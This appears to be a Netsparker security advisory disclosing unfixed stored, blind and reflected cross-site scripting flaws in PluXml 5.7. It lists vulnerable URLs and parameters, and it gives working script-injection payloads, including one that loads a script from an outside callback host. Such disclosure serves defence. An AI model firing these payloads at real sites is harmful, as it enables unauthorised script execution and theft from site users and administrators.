Information
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Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in PluXml 5.7
Affected Software: PluXml
Affected Versions: 5.7
Homepage: https://www.pluxml.org/
Vulnerability: Reflected, Blind and Stored Cross-site Scripting
Severity: High
Status: Not Fixed
CVSS Score (3.0): 

  • CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N 
  • CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Netsparker Advisory Reference: NS-18-054

Technical Details
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Stored Cross-site Scripting

URL : http://{DOMAIN}/{PATH-OF-PLUXML}core/admin/article.php
Parameter Type : POST
Parameter Name : tags
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x007B0F)</scRipt>

Blind Cross-site Scripting

URL : http://{DOMAIN}/{PATH-OF-PLUXML}/core/admin/article.php
Parameter Type : POST
Parameter Name : date_update_month
Attack Pattern: '"--></style></scRipt><scRipt src="//7fv0dgpzuxo2-rly412khh-ldsddpplyaom9uiuphg0&#46;r87&#46;me"></scRipt>

Reflected Cross-site Scripting

URL: http://{DOMAIN}/{PATH-OF-PLUXML}/?'"--></style></scRipt><scRipt>alert(“test”)</scRipt>
Parameter Type : Query String  
Parameter Name : Query Based  
Attack Pattern : '"--></style></scRipt><scRipt>alert(“test”)</scRipt>  

URL :  http://{DOMAIN}/{PATH-OF-PLUXML}/index.php?'"--></style></scRipt><scRipt>alert(0x001AB7)</scRipt>  
Parameter Type : Query String  
Parameter Name : Query Based  
Attack Pattern : '"--></style></scRipt><scRipt>alert(0x001AB7)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-PLUXML}/core/admin/article.php
Parameter Type : POST
Parameter Name : artID
Attack Pattern : '"--></style></scRipt><scRipt>alert(0x007B0F)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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31st December 2018- First Contact Attempt
4th Febuary 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Umran Yildirimkaya while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.